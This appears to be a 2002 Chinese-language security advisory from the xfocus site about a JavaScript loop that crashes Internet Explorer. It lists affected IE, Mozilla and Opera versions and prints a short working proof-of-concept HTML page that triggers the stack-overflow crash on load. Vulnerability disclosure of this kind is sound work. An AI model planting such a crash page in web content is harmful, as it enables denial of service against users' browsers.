xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version
 最近严重漏洞 
Microsoft RPC接口远程任意代码可执行漏洞
Cisco IOS接口不正确处理IPV4包远程拒绝服务漏洞
Microsoft Windows CreateFile API命名管道权限提升漏洞

Javascript loop可导致IE崩溃漏洞


发布时间：2002-03-22
更新时间：2002-03-22
严重程度：中
威胁程度：远程拒绝服务
错误类型：意外情况处置错误
利用方式：服务器模式

BUGTRAQ ID：4322

受影响系统
Microsoft Internet Explorer 5.01
   + Microsoft Windows 2000 Advanced Server 0.0
   + Microsoft Windows 2000 Datacenter Server 0.0
   + Microsoft Windows 2000 Professional 0.0
   + Microsoft Windows 2000 Server 0.0
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows 98SE 0.0
   - Microsoft Windows NT Enterprise Server 4.0SP3
   - Microsoft Windows NT Enterprise Server 4.0SP4
   - Microsoft Windows NT Enterprise Server 4.0SP5
   - Microsoft Windows NT Enterprise Server 4.0SP6
   - Microsoft Windows NT Enterprise Server 4.0SP6a
   - Microsoft Windows NT Server 4.0SP3
   - Microsoft Windows NT Server 4.0SP4
   - Microsoft Windows NT Server 4.0SP5
   - Microsoft Windows NT Server 4.0SP6
   - Microsoft Windows NT Server 4.0SP6a
   - Microsoft Windows NT Terminal Server 4.0SP3
   - Microsoft Windows NT Terminal Server 4.0SP4
   - Microsoft Windows NT Terminal Server 4.0SP5
   - Microsoft Windows NT Terminal Server 4.0SP6
   - Microsoft Windows NT Terminal Server 4.0SP6a
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6
   - Microsoft Windows NT Workstation 4.0SP6a
Microsoft Internet Explorer 5.0.1SP2
   - Microsoft Windows 2000 Workstation 0.0
   - Microsoft Windows 2000 Workstation 0.0SP1
   - Microsoft Windows 2000 Workstation 0.0SP2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
Microsoft Internet Explorer 5.0.1SP1
   - Microsoft Windows 2000 Workstation 0.0
   - Microsoft Windows 2000 Workstation 0.0SP1
   - Microsoft Windows 2000 Workstation 0.0SP2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
Microsoft Internet Explorer 5.5SP2
   - Microsoft Windows 2000 Terminal Services 0.0
   - Microsoft Windows 2000 Workstation 0.0
   - Microsoft Windows 2000 Workstation 0.0SP1
   - Microsoft Windows 2000 Workstation 0.0SP2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows 98SE 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows NT Enterprise Server 4.0
   - Microsoft Windows NT Terminal Server 4.0
Microsoft Internet Explorer 5.5SP1
   - Microsoft Windows 2000 Workstation 0.0
   - Microsoft Windows 2000 Workstation 0.0SP1
   - Microsoft Windows 2000 Workstation 0.0SP2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
Microsoft Internet Explorer 5.5
   - Microsoft Windows 2000 Advanced Server 0.0
   - Microsoft Windows 2000 Advanced Server 0.0SP1
   - Microsoft Windows 2000 Advanced Server 0.0SP2
   - Microsoft Windows 2000 Datacenter Server 0.0
   - Microsoft Windows 2000 Datacenter Server 0.0SP1
   - Microsoft Windows 2000 Datacenter Server 0.0SP2
   - Microsoft Windows 2000 Professional 0.0
   - Microsoft Windows 2000 Professional 0.0SP1
   - Microsoft Windows 2000 Professional 0.0SP2
   - Microsoft Windows 2000 Server 0.0
   - Microsoft Windows 2000 Server 0.0SP1
   - Microsoft Windows 2000 Server 0.0SP2
   - Microsoft Windows 2000 Terminal Services 0.0
   - Microsoft Windows 2000 Terminal Services 0.0SP1
   - Microsoft Windows 2000 Terminal Services 0.0SP2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   + Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
Microsoft Internet Explorer 6.0
   - Microsoft Windows 2000 Workstation 0.0
   - Microsoft Windows 2000 Workstation 0.0SP1
   - Microsoft Windows 2000 Workstation 0.0SP2
   - Microsoft Windows 98 0.0
   - Microsoft Windows 98SE 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0SP6a
Mozilla Browser 0.8
   + MandrakeSoft Linux Mandrake 8.0
   + MandrakeSoft Linux Mandrake 8.0 ppc
Mozilla Browser 0.9.2.1
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows XP 0.0
Mozilla Browser 0.9.2
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows XP 0.0
Mozilla Browser 0.9.3
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows XP 0.0
Mozilla Browser 0.9.4.1
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows XP 0.0
Mozilla Browser 0.9.4
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows XP 0.0
Mozilla Browser 0.9.5
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows XP 0.0
Mozilla Browser 0.9.6
   - Apple MacOS 9.0
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Be BeOS 5.0
   - BSDI BSD/OS 4.2
   - Compaq OpenVMS 7.1-2 Alpha
   - Compaq OpenVMS 7.2-2 Alpha
   - Compaq OpenVMS 7.3 Alpha
   - FreeBSD FreeBSD 4.0
   - IBM AIX 4.3.3
   - Microsoft Windows 2000 Workstation 0.0
   - Microsoft Windows 2000 Workstation 0.0SP1
   - Microsoft Windows 2000 Workstation 0.0SP2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
   - RedHat Linux 6.0 alpha
   - RedHat Linux 6.0 i386
   - RedHat Linux 6.0 sparc
   - RedHat Linux 7.0 alpha
   - RedHat Linux 7.0 i386
   - RedHat Linux 7.0 sparc
   - SGI IRIX 6.5
   - Sun Solaris 2.7
   - Sun Solaris 2.8
Mozilla Browser 0.9.7
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows XP 0.0
Mozilla Browser 0.9.8
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS 9.2.2
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows XP 0.0
Opera Software Opera Web Browser 5.02 win32
   - Microsoft Windows 2000 Workstation 0.0
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows NT 4.0
Opera Software Opera Web Browser 5.11 win32
   - Microsoft Windows 2000 Workstation 0.0
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows NT 4.0
Opera Software Opera Web Browser 5.10 win32
   - Microsoft Windows 2000 Workstation 0.0
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows NT 4.0
Opera Software Opera Web Browser 5.12 win32
   - Microsoft Windows 2000 Workstation 0.0SP1
   - Microsoft Windows 2000 Workstation 0.0SP2
   - Microsoft Windows 2000 Workstation 0.0SP3
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows 98 0.0SP1
   - Microsoft Windows 98SE 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6a
Opera Software Opera Web Browser 6.0.1win32
   - Microsoft Windows 2000 Advanced Server 0.0
   - Microsoft Windows 2000 Advanced Server 0.0SP1
   - Microsoft Windows 2000 Advanced Server 0.0SP2
   - Microsoft Windows 2000 Datacenter Server 0.0
   - Microsoft Windows 2000 Datacenter Server 0.0SP1
   - Microsoft Windows 2000 Datacenter Server 0.0SP2
   - Microsoft Windows 2000 Professional 0.0
   - Microsoft Windows 2000 Professional 0.0SP1
   - Microsoft Windows 2000 Professional 0.0SP2
   - Microsoft Windows 2000 Server 0.0
   - Microsoft Windows 2000 Server 0.0SP1
   - Microsoft Windows 2000 Server 0.0SP2
   - Microsoft Windows 95 0.0
   - Microsoft Windows 98 0.0
   - Microsoft Windows 98SE 0.0
   - Microsoft Windows ME 0.0
   - Microsoft Windows NT Enterprise Server 4.0
   - Microsoft Windows NT Enterprise Server 4.0SP1
   - Microsoft Windows NT Enterprise Server 4.0SP2
   - Microsoft Windows NT Enterprise Server 4.0SP3
   - Microsoft Windows NT Enterprise Server 4.0SP4
   - Microsoft Windows NT Enterprise Server 4.0SP5
   - Microsoft Windows NT Enterprise Server 4.0SP6
   - Microsoft Windows NT Enterprise Server 4.0SP6a
   - Microsoft Windows NT Server 4.0
   - Microsoft Windows NT Server 4.0SP1
   - Microsoft Windows NT Server 4.0SP2
   - Microsoft Windows NT Server 4.0SP3
   - Microsoft Windows NT Server 4.0SP4
   - Microsoft Windows NT Server 4.0SP5
   - Microsoft Windows NT Server 4.0SP6
   - Microsoft Windows NT Server 4.0SP6a
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6
   - Microsoft Windows NT Workstation 4.0SP6a
   - Microsoft Windows XP Home 0.0
   - Microsoft Windows XP Professional 0.0
详细描述
IE在JAVASCRIPT脚本处理中存在漏洞，如果IE遇到使用了location.replace的脚本然后再调用自身，就可引起循环，IE就会崩溃，所以IE相关进程就会关闭。

测试代码
<html>
<head>
<script language="JavaScript">
<!--
function crashme () {
  var url = document.location
  if (document.images) {
    location.replace(url);
  } else {
    location.href = url;
  }
  crashme ()
}
-->
</script>
</head>
<body onLoad="crashme ()">
<center>
<h3>IE Javascript Crash Test</h3>
</center>
</body>
</html>



会导致出现如下信息：
        Application exception occurred:
        App: iexplore.exe (pid=808)
        When: 2/3/2002 @ 17:20:31.934
        Exception number: c00000fd (stack overflow)

解决方案
尚无

相关信息
Patrik Birgersson (patrik.birgersson@aiasec.com)
参考：http://archives.neohapsis.com/archives/bugtraq/2002-03/0235.html        
LilHTTP Web Server保护文件可访问漏洞
Copyright © 1998-2003 XFOCUS Team. All Rights Reserved